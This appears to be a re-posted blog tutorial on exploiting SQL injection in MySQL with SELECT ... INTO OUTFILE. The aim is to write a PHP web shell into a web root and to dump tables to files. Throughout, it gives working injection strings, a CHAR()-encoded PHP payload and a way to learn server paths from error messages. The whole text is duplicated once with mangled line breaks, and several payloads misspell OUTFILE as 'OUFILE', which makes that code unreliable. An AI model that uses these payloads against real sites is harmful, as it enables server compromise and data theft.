This is an re-post from an old archive...
From MySQL documentation :
"The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed. As of MySQL 5.0.19, the character_set_filesystem system variable controls the interpretation of the filename."
The INTO OUTFILE operator can be used during sql injection exploiting to write php shell on remote host. Unfortunately (fortunately?) this is only possible in some (very) race conditions :
- mysql user must have the FILE privilege;
- the operator requires a "quoted" file pathname, so the web application should not escape/filter them;
- httpd and mysql should be installed on the same machine, or (if you can) the file will be written on the dbms machine;
- You need to know the fullpath name of the web root.
Now we suppose that all the above conditions were verified on the test machine, and let's start to explore the operator's characteristics. I'll show a series of characteristics that I noticed while I was playing with it :
- It is possible to control the content of the file to write in this way :
{begin of injection} AND 1=0 UNION SELECT 1,1,1,'my code here' INTO OUTFILE '/www/htdocs/shell.php/'/*
A file named "shell.php" will be created, and its content will be the follow :
1 1 1 my code
First of all : I used an "AND 1=0" because in this way I was able to make the first query returns 0 rows (so no data from the original query will be inserted in shell.php). Second : we can notice that in shell.php there are some undesired data (1 1 1). To avoid their presence we can use "null" or ''.
- If INTO OUTFILE is used in a subquery, we will create the file but we will not control its content. That's because if we inject something like :
AND (SELECT '' INTO OUFILE '/.../shell.php')/*
shell.php will contains the data selected by the injecatable query and not our ''
- If you want display the whole (current)table content you can inject this query :
OR 1=1 AND (SELECT 1 INTO OUFILE '.../tableDump.txt')/*
In this way the "OR 1=1" will make the query return all the table rows, and then the content will be stored in the "tableDump.txt" file. After that you can use LOAD_FILE() function to read the file (ok, this seems to be a little useless, because if you are not able to display all the table content in the html response by simply injecting the "OR 1=1", you are also not able to load data in html with LOAD_FILE() ... BUT if you store the content in the file you can then easly inference it)
- When it is injected a INTO OUFILE operator in a query where the result is handled by mysql_fetch_array(), it is displayed a message error such as :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /path/htdocs/script.php on line XX
This can be used to get full path name, and so to known where to write the php shell
- Sometimes it is necessary encode the content you want to write because the URL encode caused problems with some characters. I suggest to encode it as follows :
UNION SELECT CHAR(60,63,112,104,112,32,101,99,104,111,32,34,79,87,78,69,68,34,59,32,63,62),1,1,1 INTO OUFILE '/path/name/file.php'/*
Where "CHAR(..., ...)" is the encode for the string "<?php echo "OWNED"; ?> ".
- Last year I tried to exploit a sql injection where the application filtered every types of comment, and the injection was between two UNION operators. I had something like this :
SELECT * FROM tab1 UNION SELECT * FROM t2 WHERE ID = {here injection} UNION SELECT * from t3
In this situation I tried to concatenate the "INTO OUTFILE" just to have something like :
SELECT (...) UNION SELECT * FROM tab WHERE ID = 1 INTO OUFILE '...' UNION SELECT (...)
but this caused the follow error :
"Incorrect usage of UNION and INTO"
Infact, the operator needs to be placed at the end of the concatenation of UNION.
From MySQL documentation :
"The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the
selected rows to a file. The file is created on the server host, so you must
have the FILE privilege to use this syntax. file_name cannot be an existing
file, which among other things prevents files such as /etc/passwd and database
tables from being destroyed. As of MySQL 5.0.19, the character_set_filesystem
system variable controls the interpretation of the filename."
The INTO OUTFILE operator can be used during sql injection exploiting to write
php shell on remote host. Unfortunately (fortunately?) this is only possible in
some (very) race conditions :
·
mysql user must have the FILE privilege;
·
the operator requires a "quoted" file pathname, so the web application
should not escape/filter them;
·
httpd and mysql should be installed on the same machine, or (if you can)
the file will be written on the dbms machine;
·
You need to know the fullpath name of the web root.
Now we suppose that all the above conditions were verified on the test
machine, and let's start to explore the operator's characteristics. I'll show a
series of characteristics that I noticed while I was playing with it :
·
It is possible to control the content of the file to write in this way :
{begin of injection} AND 1=0 UNION SELECT 1,1,1,'my code here' INTO OUTFILE
'/www/htdocs/shell.php/'/*
A file named "shell.php" will be created, and its content will be the
follow :
1 1 1 my code
First of all : I used an "AND 1=0" because in this way I was able to
make the first query returns 0 rows (so no data from the original query will be
inserted in shell.php). Second : we can notice that in shell.php there are some
undesired data (1 1 1). To avoid their presence we can use "null" or
''.
·
If INTO OUTFILE is used in a subquery, we will create the file but we
will not control its content. That's because if we inject something like :
AND (SELECT '' INTO OUFILE '/.../shell.php')/*
shell.php will contains the data selected by the injecatable query and not our
''
·
If you want display the whole (current)table content you can inject this
query :
OR 1=1 AND (SELECT 1 INTO OUFILE '.../tableDump.txt')/*
In this way the "OR 1=1" will make the query return all the table
rows, and then the content will be stored in the "tableDump.txt"
file. After that you can use LOAD_FILE() function to read the file (ok, this
seems to be a little useless, because if you are not able to display all the
table content in the html response by simply injecting the "OR 1=1",
you are also not able to load data in html with LOAD_FILE() ... BUT if you
store the content in the file you can then easly inference it)
·
When it is injected a INTO OUFILE operator in a query where the result
is handled by mysql_fetch_array(), it is displayed a message error such as :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /path/htdocs/script.php on line XX
This can be used to get full path name, and so to known where to write the php
shell
·
Sometimes it is necessary encode the content you want to write because
the URL encode caused problems with some characters. I suggest to encode it as
follows :
UNION SELECT
CHAR(60,63,112,104,112,32,101,99,104,111,32,34,79,87,78,69,68,34,59,32,63,62),1,1,1
INTO OUFILE '/path/name/file.php'/*
Where "CHAR(..., ...)" is the encode for the string "<?php echo "OWNED"; ?>".
- Last
year I tried to exploit a sql injection where the application filtered
every types of comment, and the injection was between two UNION operators.
I had something like this :
SELECT * FROM tab1 UNION SELECT * FROM t2 WHERE ID = {here injection}
UNION SELECT * from t3
In this situation I tried to concatenate the "INTO OUTFILE" just
to have something like :
SELECT (...) UNION SELECT * FROM tab WHERE ID = 1 INTO OUFILE '...' UNION
SELECT (...)
but this caused the follow error :
"Incorrect usage of UNION and INTO"
Infact, the operator needs to be placed at the end of the concatenation of
UNION.
|
Comments
Post a Comment